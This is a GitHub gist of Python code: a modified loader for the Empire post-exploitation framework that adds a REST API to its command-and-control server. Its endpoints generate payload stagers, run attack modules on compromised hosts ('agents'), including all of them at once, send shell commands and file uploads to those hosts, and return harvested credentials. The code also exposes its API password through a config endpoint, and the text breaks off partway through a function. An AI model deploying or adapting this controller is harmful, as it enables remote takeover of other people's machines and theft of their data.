Modified Empire Loader to have both RESTful API & full console · GitHub
Skip to content

Instantly share code, notes, and snippets.

@jymcheong
Last active June 3, 2020 21:52
Show Gist options
  • Save jymcheong/6a7668ecf73c29dd1d234d1c76ef438c to your computer and use it in GitHub Desktop.
Save jymcheong/6a7668ecf73c29dd1d234d1c76ef438c to your computer and use it in GitHub Desktop.
Modified Empire Loader to have both RESTful API & full console
#!/usr/bin/env python
import sqlite3, argparse, sys, argparse, logging, json, string
import os, re, time, signal, copy, base64, pickle
from flask import Flask, request, jsonify, make_response, abort, url_for
from time import localtime, strftime, sleep
from OpenSSL import SSL
from Crypto.Random import random
import ssl
# Empire imports
from lib.common import empire
from lib.common import helpers
global serverExitCommand
serverExitCommand = 'restart'
#####################################################
#
# Database interaction methods for the RESTful API
#
#####################################################
def database_connect():
"""
Connect with the backend ./empire.db sqlite database and return the
connection object.
"""
try:
# set the database connectiont to autocommit w/ isolation level
conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
conn.text_factory = str
conn.isolation_level = None
return conn
except Exception:
print helpers.color("[!] Could not connect to database")
print helpers.color("[!] Please run setup_database.py")
sys.exit()
def execute_db_query(conn, query, args=None):
"""
Execute the supplied query on the provided db conn object
with optional args for a paramaterized query.
"""
cur = conn.cursor()
if args:
cur.execute(query, args)
else:
cur.execute(query)
results = cur.fetchall()
cur.close()
return results
def refresh_api_token(conn):
"""
Generates a randomized RESTful API token and updates the value
in the config stored in the backend database.
"""
# generate a randomized API token
apiToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40))
execute_db_query(conn, "UPDATE config SET api_current_token=?", [apiToken])
return apiToken
def get_permanent_token(conn):
"""
Returns the permanent API token stored in empire.db.
If one doesn't exist, it will generate one and store it before returning.
"""
permanentToken = execute_db_query(conn, "SELECT api_permanent_token FROM config")[0]
if not permanentToken[0]:
permanentToken = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40))
execute_db_query(conn, "UPDATE config SET api_permanent_token=?", [permanentToken])
return permanentToken[0]
####################################################################
#
# The Empire RESTful API.
#
# Adapted from http://blog.miguelgrinberg.com/post/designing-a-restful-api-with-python-and-flask
# example code at https://gist.github.com/miguelgrinberg/5614326
#
# Verb URI Action
# ---- --- ------
# GET http://localhost:1337/api/version return the current Empire version
#
# GET http://localhost:1337/api/config return the current default config
#
# GET http://localhost:1337/api/stagers return all current stagers
# GET http://localhost:1337/api/stagers/X return the stager with name X
# POST http://localhost:1337/api/stagers generate a stager given supplied options (need to implement)
#
# GET http://localhost:1337/api/modules return all current modules
# GET http://localhost:1337/api/modules/<name> return the module with the specified name
# POST http://localhost:1337/api/modules/<name> execute the given module with the specified options
# POST http://localhost:1337/api/modules/search searches modulesfor a passed term
# POST http://localhost:1337/api/modules/search/modulename searches module names for a specific term
# POST http://localhost:1337/api/modules/search/description searches module descriptions for a specific term
# POST http://localhost:1337/api/modules/search/description searches module comments for a specific term
# POST http://localhost:1337/api/modules/search/author searches module authors for a specific term
#
# GET http://localhost:1337/api/listeners return all current listeners
# GET http://localhost:1337/api/listeners/Y return the listener with id Y
# GET http://localhost:1337/api/listeners/options return all listener options
# POST http://localhost:1337/api/listeners starts a new listener with the specified options
# DELETE http://localhost:1337/api/listeners/Y kills listener Y
#
# GET http://localhost:1337/api/agents return all current agents
# GET http://localhost:1337/api/agents/stale return all stale agents
# DELETE http://localhost:1337/api/agents/stale removes stale agents from the database
# DELETE http://localhost:1337/api/agents/Y removes agent Y from the database
# GET http://localhost:1337/api/agents/Y return the agent with name Y
# GET http://localhost:1337/api/agents/Y/results return tasking results for the agent with name Y
# DELETE http://localhost:1337/api/agents/Y/results deletes the result buffer for agent Y
# POST http://localhost:1337/api/agents/Y/shell task agent Y to execute a shell command
# POST http://localhost:1337/api/agents/Y/rename rename agent Y
# GET/POST http://localhost:1337/api/agents/Y/clear clears the result buffer for agent Y
# GET/POST http://localhost:1337/api/agents/Y/kill kill agent Y
#
# GET http://localhost:1337/api/reporting return all logged events
# GET http://localhost:1337/api/reporting/agent/X return all logged events for the given agent name X
# GET http://localhost:1337/api/reporting/type/Y return all logged events of type Y (checkin, task, result, rename)
# GET http://localhost:1337/api/reporting/msg/Z return all logged events matching message Z, wildcards accepted
#
# GET http://localhost:1337/api/creds return stored credentials
#
# GET http://localhost:1337/api/admin/login retrieve the API token given the correct username and password
# GET http://localhost:1337/api/admin/permanenttoken retrieve the permanent API token, generating/storing one if it doesn't already exist
# GET http://localhost:1337/api/admin/shutdown shutdown the RESTful API
# GET http://localhost:1337/api/admin/restart restart the RESTful API
#
####################################################################
def start_restful_api(startEmpire=False, suppress=False, username=None, password=None, port=1337):
"""
Kick off the RESTful API with the given parameters.
startEmpire - start a complete Empire instance in the backend as well
suppress - suppress most console output
username - optional username to use for the API, otherwise pulls from the empire.db config
password - optional password to use for the API, otherwise pulls from the empire.db config
port - port to start the API on, defaults to 1337 ;)
"""
app = Flask(__name__)
conn = database_connect()
global serverExitCommand
# if a username/password were not supplied, use the creds stored in the db
(dbUsername, dbPassword) = execute_db_query(conn, "SELECT api_username, api_password FROM config")[0]
if not username:
username = dbUsername
else:
execute_db_query(conn, "UPDATE config SET api_username=?", username)
if not password:
password = dbPassword
else:
execute_db_query(conn, "UPDATE config SET api_password=?", password)
class Namespace:
"""
Temporary namespace to create the followin base argument object.
"""
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
# instantiate an Empire instance in case we need to interact with stagers or listeners
args = Namespace(debug=None, listener=None, stager=None, stager_options=None, version=False)
print ''
if startEmpire:
# if we want to start a full-running empire instance
print " * Starting a full Empire instance"
main = empire.MainMenu(args=args)
def thread_api(empireMenu):
print 'entering command menu in 8 seconds...'
sleep(8)
empireMenu.cmdloop()
thread = helpers.KThread(target=thread_api, args=(main,))
thread.daemon = True
thread.start()
else:
# if we just want the RESTful API, i.e. no listener/etc. startup
main = empire.MainMenu(args=args, restAPI=True)
print " * Starting Empire RESTful API on port: %s" %(port)
# refresh the token for the RESTful API
apiToken = refresh_api_token(conn)
print " * RESTful API token: %s" %(apiToken)
permanentApiToken = get_permanent_token(conn)
tokenAllowed = re.compile("^[0-9a-z]{40}")
oldStdout = sys.stdout
if suppress:
# suppress the normal Flask output
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
# suppress all stdout and don't initiate the main cmdloop
sys.stdout = open(os.devnull, 'w')
# validate API token before every request except for the login URI
@app.before_request
def check_token():
"""
Before every request, check if a valid token is passed along with the request.
"""
if request.path != '/api/admin/login':
token = request.args.get('token')
if (not token) or (not tokenAllowed.match(token)):
return make_response('', 401)
if (token != apiToken) and (token != permanentApiToken):
return make_response('', 401)
@app.errorhandler(Exception)
def exception_handler(error):
"""
Generic exception handler.
"""
return repr(error)
@app.errorhandler(404)
def not_found(error):
"""
404/not found handler.
"""
return make_response(jsonify({'error': 'Not found'}), 404)
@app.route('/api/version', methods=['GET'])
def get_version():
"""
Returns the current Empire version.
"""
return jsonify({'version': empire.VERSION})
@app.route('/api/map', methods=['GET'])
def list_routes():
"""
List all of the current registered API routes.
"""
import urllib
output = []
for rule in app.url_map.iter_rules():
options = {}
for arg in rule.arguments:
options[arg] = "[{0}]".format(arg)
methods = ','.join(rule.methods)
url = url_for(rule.endpoint, **options)
line = urllib.unquote("[ { '" + rule.endpoint + "': [ { 'methods': '" + methods + "', 'url': '" + url + "' } ] } ]")
output.append(line)
res = ''
for line in sorted(output):
res = res + '\r\n' + line
return jsonify({'Routes':res})
@app.route('/api/config', methods=['GET'])
def get_config():
"""
Returns JSON of the current Empire config.
"""
configRaw = execute_db_query(conn, 'SELECT staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token, api_permanent_token FROM config')
[staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token, api_permanent_token] = configRaw[0]
config = [{"api_password":api_password, "api_username":api_username, "autorun_command":autorun_command, "autorun_data":autorun_data, "current_api_token":api_current_token, "install_path":install_path, "ip_blacklist":ip_blacklist, "ip_whitelist":ip_whitelist, "permanent_api_token":api_permanent_token, "staging_key":staging_key, "version":empire.VERSION}]
return jsonify({'config': config})
@app.route('/api/stagers', methods=['GET'])
def get_stagers():
"""
Returns JSON describing all stagers.
"""
stagers = []
for stagerName, stager in main.stagers.stagers.iteritems():
info = copy.deepcopy(stager.info)
info['options'] = stager.options
info['Name'] = stagerName
stagers.append(info)
return jsonify({'stagers': stagers})
@app.route('/api/stagers/<path:stager_name>', methods=['GET'])
def get_stagers_name(stager_name):
"""
Returns JSON describing the specified stager_name passed.
"""
if stager_name not in main.stagers.stagers:
return make_response(jsonify({'error': 'stager name %s not found, make sure to use [os]/[name] format, ie. windows/dll' %(stager_name)}), 404)
stagers = []
for stagerName, stager in main.stagers.stagers.iteritems():
if stagerName == stager_name:
info = copy.deepcopy(stager.info)
info['options'] = stager.options
info['Name'] = stagerName
stagers.append(info)
return jsonify({'stagers': stagers})
@app.route('/api/stagers', methods=['POST'])
def generate_stager():
"""
Generates a stager with the supplied config and returns JSON information
describing the generated stager, with 'Output' being the stager output.
Required JSON args:
StagerName - the stager name to generate
Listener - the Listener name to use for the stager
"""
if not request.json or not 'StagerName' in request.json or not 'Listener' in request.json:
abort(400)
stagerName = request.json['StagerName']
listener = request.json['Listener']
if stagerName not in main.stagers.stagers:
return make_response(jsonify({'error': 'stager name %s not found' %(stagerName)}), 404)
if not main.listeners.is_listener_valid(listener):
return make_response(jsonify({'error': 'invalid listener ID or name'}), 400)
stager = main.stagers.stagers[stagerName]
# set all passed options
for option, values in request.json.iteritems():
if option != 'StagerName':
if option not in stager.options:
return make_response(jsonify({'error': 'Invalid option %s, check capitalization.' %(option)}), 400)
stager.options[option]['Value'] = values
# validate stager options
for option, values in stager.options.iteritems():
if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
return make_response(jsonify({'error': 'required stager options missing'}), 400)
stagerOut = copy.deepcopy(stager.options)
if ('OutFile' in stagerOut) and (stagerOut['OutFile']['Value'] != ''):
# if the output was intended for a file, return the base64 encoded text
stagerOut['Output'] = base64.b64encode(stager.generate())
else:
# otherwise return the text of the stager generation
stagerOut['Output'] = stager.generate()
return jsonify({stagerName: stagerOut})
@app.route('/api/modules', methods=['GET'])
def get_modules():
"""
Returns JSON describing all currently loaded modules.
"""
modules = []
for moduleName, module in main.modules.modules.iteritems():
moduleInfo = copy.deepcopy(module.info)
moduleInfo['options'] = module.options
moduleInfo['Name'] = moduleName
modules.append(moduleInfo)
return jsonify({'modules': modules})
@app.route('/api/modules/<path:module_name>', methods=['GET'])
def get_module_name(module_name):
"""
Returns JSON describing the specified currently module.
"""
if module_name not in main.modules.modules:
return make_response(jsonify({'error': 'module name %s not found' %(module_name)}), 404)
modules = []
moduleInfo = copy.deepcopy(main.modules.modules[module_name].info)
moduleInfo['options'] = main.modules.modules[module_name].options
moduleInfo['Name'] = module_name
modules.append(moduleInfo)
return jsonify({'modules': modules})
@app.route('/api/modules/<path:module_name>', methods=['POST'])
def execute_module(module_name):
"""
Executes a given module name with the specified parameters.
"""
# ensure the 'Agent' argument is set
if not request.json or not 'Agent' in request.json:
abort(400)
if module_name not in main.modules.modules:
return make_response(jsonify({'error': 'module name %s not found' %(module_name)}), 404)
module = main.modules.modules[module_name]
# set all passed module options
for key, value in request.json.iteritems():
if key not in module.options:
return make_response(jsonify({'error': 'invalid module option'}), 400)
module.options[key]['Value'] = value
# validate module options
sessionID = module.options['Agent']['Value']
for option, values in module.options.iteritems():
if values['Required'] and ((not values['Value']) or (values['Value'] == '')):
return make_response(jsonify({'error': 'required module option missing'}), 400)
try:
# if we're running this module for all agents, skip this validation
if sessionID.lower() != "all" and sessionID.lower() != "autorun":
if not main.agents.is_agent_present(sessionID):
return make_response(jsonify({'error': 'invalid agent name'}), 400)
modulePSVersion = int(module.info['MinLanguageVersion'])
agentPSVersion = int(main.agents.get_language_version_db(sessionID))
# check if the agent/module PowerShell versions are compatible
if modulePSVersion > agentPSVersion:
return make_response(jsonify({'error': "module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion)}), 400)
except Exception as e:
return make_response(jsonify({'error': 'exception: %s' %(e)}), 400)
# check if the module needs admin privs
if module.info['NeedsAdmin']:
# if we're running this module for all agents, skip this validation
if sessionID.lower() != "all" and sessionID.lower() != "autorun":
if not main.agents.is_agent_elevated(sessionID):
return make_response(jsonify({'error': 'module needs to run in an elevated context'}), 400)
# actually execute the module
moduleData = module.generate()
if not moduleData or moduleData == "":
return make_response(jsonify({'error': 'module produced an empty script'}), 400)
try:
moduleData.decode('ascii')
except UnicodeDecodeError:
return make_response(jsonify({'error': 'module source contains non-ascii characters'}), 400)
moduleData = helpers.strip_powershell_comments(moduleData)
taskCommand = ""
# build the appropriate task command and module data blob
if str(module.info['Background']).lower() == "true":
# if this module should be run in the background
extention = module.info['OutputExtension']
if extention and extention != "":
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = module_name.split("/")[-1]
moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
taskCommand = "TASK_CMD_JOB_SAVE"
else:
taskCommand = "TASK_CMD_JOB"
else:
# if this module is run in the foreground
extention = module.info['OutputExtension']
if module.info['OutputExtension'] and module.info['OutputExtension'] != "":
# if this module needs to save its file output to the server
# format- [15 chars of prefix][5 chars extension][data]
saveFilePrefix = module_name.split("/")[-1][:15]
moduleData = saveFilePrefix.rjust(15) + extention.rjust(5) + moduleData
taskCommand = "TASK_CMD_WAIT_SAVE"
else:
taskCommand = "TASK_CMD_WAIT"
if sessionID.lower() == "all":
for agent in main.agents.get_agents():
sessionID = agent[1]
taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
main.agents.save_agent_log(sessionID, msg)
msg = "tasked all agents to run module %s" %(module_name)
return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
else:
# set the agent's tasking in the cache
taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData)
# update the agent log
msg = "tasked agent %s to run module %s" %(sessionID, module_name)
main.agents.save_agent_log(sessionID, msg)
return jsonify({'success': True, 'taskID': taskID, 'msg':msg})
@app.route('/api/modules/search', methods=['POST'])
def search_modules():
"""
Returns JSON describing the the modules matching the passed
'term' search parameter. Module name, description, comments,
and author fields are searched.
"""
if not request.json or not 'term':
abort(400)
searchTerm = request.json['term']
modules = []
for moduleName, module in main.modules.modules.iteritems():
if (searchTerm.lower() == '') or (searchTerm.lower() in moduleName.lower()) or (searchTerm.lower() in ("".join(module.info['Description'])).lower()) or (searchTerm.lower() in ("".join(module.info['Comments'])).lower()) or (searchTerm.lower() in ("".join(module.info['Author'])).lower()):
moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info)
moduleInfo['options'] = main.modules.modules[moduleName].options
moduleInfo['Name'] = moduleName
modules.append(moduleInfo)
return jsonify({'modules': modules})
@app.route('/api/modules/search/modulename', methods=['POST'])
def search_modules_name():
"""
Returns JSON describing the the modules matching the passed
'term' search parameter for the modfule name.
"""
if not request.json or not 'term':
abort(400)
searchTerm = request.json['term']
modules = []
for moduleName, module in main.modules.modules.iteritems():
if (searchTerm.lower() == '') or (searchTerm.lower() in moduleName.lower()):
moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info)
moduleInfo['options'] = main.modules.modules[moduleName].options
moduleInfo['Name'] = moduleName
modules.append(moduleInfo)
return jsonify({'modules': modules})
@app.route('/api/modules/search/description', methods=['POST'])
def search_modules_description():
"""
Returns JSON describing the the modules matching the passed
'term' search parameter for the 'Description' field.
"""
if not request.json or not 'term':
abort(400)
searchTerm = request.json['term']
modules = []
for moduleName, module in main.modules.modules.iteritems():
if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Description'])).lower()):
moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info)
moduleInfo['options'] = main.modules.modules[moduleName].options
moduleInfo['Name'] = moduleName
modules.append(moduleInfo)
return jsonify({'modules': modules})
@app.route('/api/modules/search/comments', methods=['POST'])
def search_modules_comments():
"""
Returns JSON describing the the modules matching the passed
'term' search parameter for the 'Comments' field.
"""
if not request.json or not 'term':
abort(400)
searchTerm = request.json['term']
modules = []
for moduleName, module in main.modules.modules.iteritems():
if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Comments'])).lower()):
moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info)
moduleInfo['options'] = main.modules.modules[moduleName].options
moduleInfo['Name'] = moduleName
modules.append(moduleInfo)
return jsonify({'modules': modules})
@app.route('/api/modules/search/author', methods=['POST'])
def search_modules_author():
"""
Returns JSON describing the the modules matching the passed
'term' search parameter for the 'Author' field.
"""
if not request.json or not 'term':
abort(400)
searchTerm = request.json['term']
modules = []
for moduleName, module in main.modules.modules.iteritems():
if (searchTerm.lower() == '') or (searchTerm.lower() in ("".join(module.info['Author'])).lower()):
moduleInfo = copy.deepcopy(main.modules.modules[moduleName].info)
moduleInfo['options'] = main.modules.modules[moduleName].options
moduleInfo['Name'] = moduleName
modules.append(moduleInfo)
return jsonify({'modules': modules})
@app.route('/api/listeners', methods=['GET'])
def get_listeners():
"""
Returns JSON describing all currently registered listeners.
"""
activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners')
listeners = []
for activeListener in activeListenersRaw:
[ID, name, module, listener_type, listener_category, options] = activeListener
listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) })
return jsonify({'listeners' : listeners})
@app.route('/api/listeners/<string:listener_name>', methods=['GET'])
def get_listener_name(listener_name):
"""
Returns JSON describing the listener specified by listener_name.
"""
activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners WHERE name=?', [listener_name])
listeners = []
#if listener_name != "" and main.listeners.is_listener_valid(listener_name):
for activeListener in activeListenersRaw:
[ID, name, module, listener_type, listener_category, options] = activeListener
if name == listener_name:
listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) })
return jsonify({'listeners' : listeners})
else:
return make_response(jsonify({'error': 'listener name %s not found' %(listener_name)}), 404)
@app.route('/api/listeners/<string:listener_name>', methods=['DELETE'])
def kill_listener(listener_name):
"""
Kills the listener specified by listener_name.
"""
if listener_name.lower() == "all":
activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners')
for activeListener in activeListenersRaw:
[ID, name, module, listener_type, listener_category, options] = activeListener
main.listeners.kill_listener(name)
return jsonify({'success': True})
else:
if listener_name != "" and main.listeners.is_listener_valid(listener_name):
main.listeners.kill_listener(listener_name)
return jsonify({'success': True})
else:
return make_response(jsonify({'error': 'listener name %s not found' %(listener_name)}), 404)
@app.route('/api/listeners/options/<string:listener_type>', methods=['GET'])
def get_listener_options(listener_type):
"""
Returns JSON describing listener options for the specified listener type.
"""
if listener_type.lower() not in main.listeners.loadedListeners:
return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404)
options = main.listeners.loadedListeners[listener_type].options
return jsonify({'listeneroptions' : options})
@app.route('/api/listeners/<string:listener_type>', methods=['POST'])
def start_listener(listener_type):
"""
Starts a listener with options supplied in the POST.
"""
if listener_type.lower() not in main.listeners.loadedListeners:
return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404)
listenerObject = main.listeners.loadedListeners[listener_type]
# set all passed options
for option, values in request.json.iteritems():
if option == "Name":
listenerName = values
returnVal = main.listeners.set_listener_option(listener_type, option, values)
if not returnVal:
return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400)
main.listeners.start_listener(listener_type, listenerObject)
#check to see if the listener was created
listenerID = main.listeners.get_listener_id(listenerName)
if listenerID:
return jsonify({'success': 'listener %s successfully started' % listenerName})
else:
return jsonify({'error': 'failed to start listener %s' % listenerName})
@app.route('/api/agents', methods=['GET'])
def get_agents():
"""
Returns JSON describing all currently registered agents.
"""
activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents')
agents = []
for activeAgent in activeAgentsRaw:
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
return jsonify({'agents' : agents})
@app.route('/api/agents/stale', methods=['GET'])
def get_agents_stale():
"""
Returns JSON describing all stale agents.
"""
agentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents')
staleAgents = []
for agent in agentsRaw:
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent
intervalMax = (delay + delay * jitter)+30
# get the agent last check in time
agentTime = time.mktime(time.strptime(lastseen_time, "%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - intervalMax:
staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
return jsonify({'agents' : staleAgents})
@app.route('/api/agents/stale', methods=['DELETE'])
def remove_stale_agent():
"""
Removes stale agents from the controller.
WARNING: doesn't kill the agent first! Ensure the agent is dead.
"""
agentsRaw = execute_db_query(conn, 'SELECT * FROM agents')
for agent in agentsRaw:
[ID, sessionID, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent
intervalMax = (delay + delay * jitter)+30
# get the agent last check in time
agentTime = time.mktime(time.strptime(lastseen_time, "%Y-%m-%d %H:%M:%S"))
if agentTime < time.mktime(time.localtime()) - intervalMax:
execute_db_query(conn, "DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>', methods=['DELETE'])
def remove_agent(agent_name):
"""
Removes an agent from the controller specified by agent_name.
WARNING: doesn't kill the agent first! Ensure the agent is dead.
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
execute_db_query(conn, "DELETE FROM agents WHERE session_id LIKE ?", [agentSessionID])
return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>', methods=['GET'])
def get_agents_name(agent_name):
"""
Returns JSON describing the agent specified by agent_name.
"""
activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+
'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+
'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents ' +
'WHERE name=? OR session_id=?', [agent_name, agent_name])
activeAgents = []
for activeAgent in activeAgentsRaw:
[ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent
activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results})
return jsonify({'agents' : activeAgents})
@app.route('/api/agents/<string:agent_name>/results', methods=['GET'])
def get_agent_results(agent_name):
"""
Returns JSON describing the agent's results and removes the result field
from the backend database.
"""
agentTaskResults = []
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name, session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name, session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
for agentNameID in agentNameIDs:
[agentName, agentSessionID] = agentNameID
agentResults = execute_db_query(conn, 'SELECT id, agent, data FROM results WHERE agent=?', [agentSessionID])
for result in agentResults:
[resultid, agent, data] = result
agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]})
return jsonify({'results': agentTaskResults})
@app.route('/api/agents/<string:agent_name>/results', methods=['DELETE'])
def delete_agent_results(agent_name):
"""
Removes the specified agent results field from the backend database.
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID])
return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>/upload', methods=['POST'])
def task_agent_upload(agent_name):
"""
Tasks the specified agent to upload a file
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
if not request.json['data']:
return make_response(jsonify({'error':'file data not provided'}), 404)
if not request.json['filename']:
return make_response(jsonify({'error':'file name not provided'}), 404)
fileData = request.json['data']
fileName = request.json['filename']
rawBytes = base64.b64decode(fileData)
if len(rawBytes) > 1048576:
return make_response(jsonify({'error':'file size too large'}), 404)
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest())
main.agents.save_agent_log(agentSessionID, msg)
data = fileName + "|" + fileData
main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data)
return jsonify({'success': True})
@app.route('/api/agents/<string:agent_name>/shell', methods=['POST'])
def task_agent_shell(agent_name):
"""
Tasks an the specified agent_name to execute a shell command.
Takes {'command':'shell_command'}
"""
if agent_name.lower() == "all":
# enumerate all target agent sessionIDs
agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'")
else:
agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
if not agentNameIDs or len(agentNameIDs) == 0:
return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404)
command = request.json['command']
for agentNameID in agentNameIDs:
(agentName, agentSessionID) = agentNameID
# add task command to agent taskings
msg = "tasked agent %s to run command %s" %(agentSessionID, command)
main.agents.save_agent_log(agentSessionID, msg)
taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command)
return jsonify({'success': True, 'taskID': taskID})
@app.route('/api/agents/<string:agent_name>/rename', methods=['POST'])
def task_agent_rename(agent_name):
"""
Renames the specified agent.
Takes {'newname':'NAME'}
"""
agentNameID = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name])
